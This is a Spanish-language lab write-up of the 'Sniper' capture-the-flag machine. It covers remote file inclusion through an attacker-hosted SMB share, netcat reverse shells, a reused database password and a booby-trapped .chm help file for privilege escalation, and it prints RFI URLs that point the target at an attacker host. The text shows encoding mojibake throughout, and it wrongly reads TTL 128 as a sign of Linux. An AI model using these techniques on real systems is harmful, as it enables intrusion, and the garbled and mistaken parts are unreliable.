Sniper

Publicado: 12 de Junio de 2025 Autor: Josรฉ Miguel Romero aKa x3m1Sec Dificultad: โญ Medium

๐Ÿ“ Descripciรณn

Sniper es una mรกquina Windows de dificultad media que simula el entorno de una empresa de entrega y seguimiento de productos. El vector de ataque inicial se basa en una vulnerabilidad de Remote File Inclusion (RFI) presente en el parรกmetro lang del blog corporativo. Esta vulnerabilidad permite la ejecuciรณn remota de cรณdigo aprovechando un servidor SMB para bypassear las restricciones de inclusiรณn de archivos remotos via HTTP.

Una vez obtenido el acceso inicial, se encuentra reutilizaciรณn de credenciales que permite el movimiento lateral al usuario Chris. La escalada de privilegios se logra mediante la creaciรณn de un archivo malicioso .chm (Compiled HTML Help) que es procesado automรกticamente por el administrador del sistema, resultando en la ejecuciรณn de cรณdigo con privilegios elevados.

Esta mรกquina destaca por enseรฑar tรฉcnicas avanzadas de explotaciรณn como el uso de servidores SMB para RFI y la creaciรณn de payloads maliciosos en archivos de ayuda de Windows.

๐ŸŽฏ Objetivos

  • User Flag: Acceso como usuario Chris

  • Root Flag: Escalada de privilegios a Administrator

๐Ÿ”ญ Reconocimiento

Ping para verificaciรณn en base a TTL

๐Ÿ’ก Nota: El TTL cercano a 128 sugiere que probablemente sea una mรกquina Linux.

Escaneo de puertos

Enumeraciรณn de servicios

445 TCP -SMB

Descartamos que podamos enumerar algรบn recurso compartido mediante una null session:

80 TCP - HTTP (Sniper CO)

Al acceder al servicio web en http://10.10.10.151/ encontramos una empresa dedicada a la entrega y seguimiento de productos.

๐Ÿ” Panel de Login

Hay un panel de login en el que las credenciales por defecto no parecen funcionar pero vemos una opciรณn de registro:

Nos registramos pero al acceder no encontramos mรกs que un sitio web que estรก en construcciรณn:

![[33.png]]

๐Ÿ“ฐ Blog

http://10.10.10.151/blog/index.php

En este apartado encontramostexto del blog es solo un pรกrrafo sobre plazos de entrega rรกpidos y texto ficticio de Lorem Ipsum . Pero hay una barra de opciones en la parte superior.

La mayorรญa de los enlaces solo dirigen a esta pรกgina, pero el menรบ desplegable de idiomas incluye enlaces a:

  • http://10.10.10.151/blog?lang=blog-en.php

  • http://10.10.10.151/blog?lang=blog-es.php

  • http://10.10.10.151/blog?lang=blog-fr.php

Es probable que la pรกgina haga algo como tener cada una de las tres pรกginas de idioma en el mismo directorio y luego tener PHP que las incluya:

Si el filtrado previo no es adecuado, podrรญa existir una vulnerabilidad de inclusiรณn de archivos. Lo anotamos pare revisarlo posteriormente.

Fuzzing de directorios

Realizamos fuzzing de directorios sobre este servicio pero no encontramos ningรบn recurso que nos sirva como vรญa potencial de ataque:

๐ŸŽฏ Explotaciรณn Inicial

Verificando Local File Inclusion (LFI)

En la secciรณn de blog habรญamos visto que hay una posible inclusiรณn de archivo local en el parรกmetro lang. No funciona cuando intento incluir algo con una ruta relativa, como ..\index.php.Pero si uso una ruta absoluta, como \windows\win.ini, la pรกgina se carga y puedo ver el archivo en el contenido en la parte inferior si miro la fuente:

Otra cosa que podrรญamos hacer es intentar leer un recurso del sistema usando un wrapper y codificaciรณn en base64 de la siguiente forma:

Pero tampoco parece funcionar en este caso.

Verificando Remote File Inclusion (RFI)

Creamos un archivo php y levantamos un servidor web con python en nuestro host de ataque:

A continuaciรณn referenciamos este archivo usando el parรกmetro lang de la peticiรณn:

Pero parece estar bloqueando RFI:

Algunas veces, los sitios web a pesar de tener este tipo de acciones, suelen prevenir acciones maliciosas usando algunas validaciones internas, como eliminar caracteres de una entrada o simplemente rechazarla si esta parece tener un carรกcter malicioso.

Sin embargo, aquรญ nos apoyaremos en una tรฉcnica que se explica en el siguiente documento: http://www.mannulinux.org/2019/05/exploiting-rfi-in.php-bypass-remote-url-inclusion-restriction.htmly que consiste en usar un mรฉtodo alternativo para un RFI y es usar SMB para hospedar un script malicioso en lugar de un servidor web. Asรญ que procedemos a crear un archivo malicioso o que ejecute alguna orden en el sistema, marcamos la ubicaciรณn del archivo como sin grupo y sin usuario y le asignamos permisos de lectura/ejecuciรณn a la carpeta. Luego de ello vamos a modificar nuestro smb para que pueda compartir el archivo.

๐Ÿš€ RFI usando SMB Server

Iniciamos un servidor smb usando impacket:

Ahora intento referenciar un recurso que no exista accediente a dicho servidor

http://10.10.10.151/blog/?lang=//10.10.14.7/smbShare/test

Y comprobamos que hay autenticaciรณn desde el user SNIPER a nuestro servidor SMB, luego podemos abusar de esta vulnerabilidad de tipo RFI

Para llevar a cabo esta explotaciรณn, seguimos los siguientes pasos:

Creamos un directorio llamado sharey dentro un archivo .php que ejecutarรก una llamada al sistema para listar directorios:

Asignamos los permisos necesarios

A continuaciรณn, abrimos el archivo de configuraciรณn smbd.conf sobre el que debemos definir la siguiente configuraciรณn en global y el nuevo recurso compartido que creemos, en este caso "sniper"

Reiniciamos el demonio smbd para que tenga efecto la configuraciรณn

Podemos probar si funciona la configuraciรณn de manera local usando smbclient para listar y conectarnos al recurso:

Si tenemos algรบn problema de permisos, aplicaremos los siguientes permisos al resto del path:

Si probamos a acceder al recurso compartido haciendo una peticiรณn desde el navegador veremos que nos lista correctamente el contenido del directorio de la mรกquina windows

http://10.10.10.151/blog/?lang=\10.10.14.7\sniper\shell.php

๐Ÿ’ป Acceso Inicial - RFI โ†’ RCE

El objetivo ahora es transformar este RFI en un RCE. Para ello, podemos descargar y copiar netcat en el directorio share y lo usaremos para establecer una conexiรณn reversa. Para esto debemos tambiรฉn cambiar el contenido de nuestro fichero shell.php para que en lugar de usar la funciรณn shell_exec para realizar un listado del directorio, usemos netcat quedando de la siguiente forma:

Iniciamos un listener con netcat en nuestro host de ataque que serรก donde recibiremos la conexiรณn:

Y ahora solo nos quedarรญa volver a realizar la peticiรณn al fichero shell.php del recurso compartido sniper:

๐Ÿ‘ฅ Enumeraciรณn de usuarios

Parece que no tenemos permisos para listar el directorio de ninguno de los usuarios de la mรกquina.

๐Ÿ”‘ Revisando archivos fuentes del sitio web

Al revisar el cรณdigo fuente del sitio web encontramos un archivo llamad db.php y al revisar el contenido vemos unas credenciales:

dbuser:36mEAhz/B8xQ~2VM

โ†”๏ธ Movimiento Lateral

Confirmamos que la contraseรฑa estรก siendo reutilizada en otro servicio y por otros usuarios:

Listamos recursos compartidos y no vemos ningรบn recurso en el que tengamos permiso de escritura para el usuario chris, por lo que no podemos autenticarnos en la mรกquina usando psexec.

Intento usar runas para tratar de lanzar comandos como este usuario dentro de la mรกquina pero tampoco parece funcionar:

Otra alternativa que podemos probar es usar powershell y objeto PSCredential y probar a ejecutando el comando "whoami"

Comprobamos que funciona:

Podemos ahora usar este comando para que en lugar de "whoami" ejecute una reverse shell. Reutlizamos en este caso la reverse shell que tenรญamos en el recurso compartido SNIPER de la siguiente forma:

Logramos movernos lateralmente y ganar acceso como usuario Chris y obtenemos la primera flag en el directorio Desktop de su usuario:

๐Ÿš€ Escalada de Privilegios

Enumerando la mรกquina encontramos un directorio en C:\Docs en cuyo interior hay un archivo de texto con la siguiente informaciรณn:

Al principio no parece ser de gran utilidad, pero continuamos enumerando la mรกquina y encontramos un archivo llamado instructions.chm en el directorio del usuario Chris:

๐Ÿ“˜ ยฟQuรฉ es un archivo .chm?

Es un archivo de ayuda compilado que contiene:

  • Pรกginas HTML.

  • Archivos multimedia (imรกgenes, CSS, etc.).

  • Un รญndice y tabla de contenido.

  • Un motor de bรบsqueda interno.

Estos archivos son comรบnmente usados para la documentaciรณn de software en Windows.

Si intentamos atar cabos, puede que este archivo sea lo que estรก esperando el CEO que deposite en el directorio C:\Docs. Buscando informaciรณn encontramos que este tipo de archivo es una vรญa potencial para la inyecciรณn de cรณdigo malicioso

En este post encontramos informaciรณn interesante sobre cรณmo llevar a cabo esto:

https://gist.github.com/mgeeky/cce31c8602a144d8f2172a73d510e0e7?permalink_comment_id=3753666

Explotaciรณn de archivo malicioso chm para escalar privilegios

Hay una utilidad en powershell que de NIshang que nos permite hacer esto de una forma sencilla siguiendo los siguientes pasos:

Paso 1

Primero necesitamos descargar la herramienta HTML Help Workshop en una mรกquina virtual con windows. Ppdemos hacerlo desde aquรญ:

Paso 2

Ahora desde la mรกquina virtual windows, usamos el siguiente cmdlet para cargar el en memoria el script de powershell de nishang y ejecutarlo referenciando el path de la herramienta htlmlhelp:

NOTA: Es posible que lo detecte como malicioso y tengamos que deshabilitar previamente el antivirus en nuestra mรกquina virtual windows

Paso 3

Ahora, usaremos la siguiente funciรณn precargada del script anterior:

Pero en lugar de un Get-Procees, nos interesa generar un documento malicioso que contenga una reverse shell, asรญ que lo hacemos de nuevo referenciando a nuestro recurso SMB compartido y usando netcat de la siguiente forma:

Una vez ejecutado el comando vemos que se ha generado el archivo malicioso doc.chm.

Paso 4

Ahora, deberemos transferir el archivo malicioso a nuestro host de ataque para desde ahรญ subirlo al directorio C:\Docs de la mรกquina Sniper, ya que se supone que de ahรญ es donde lo debe coger el CEO o administrador.

Una forma de transferir esto rรกpidamente, cuando se trata de archivos pequeรฑos, es codificarlo en base64. Desde windows podemos hacerlo de la siguiente forma:

Este serรญa el contenido del archivo

Copiamos el contenido en base 64 y en nuestro host de linux lo decodificamos y lo convertimos de la siguiente forma:

Verificamos el tipo de archivo:

Paso 5

Iniciamos un nuevo listener en nuestro host de ataque donde recibiremos la nueva reverse shell como administrador:

Ahora, transferimos al directorio C:\Docs el archivo malicioso doc.chm y netcat al directorio C:\Users\Chris\Desktop:

Cuando el administrador abre el archivo con extensiรณn .chm del directorio C:\Docs, recibimos la reverse shell y ya podemos obtener la รบltima flag:

Last updated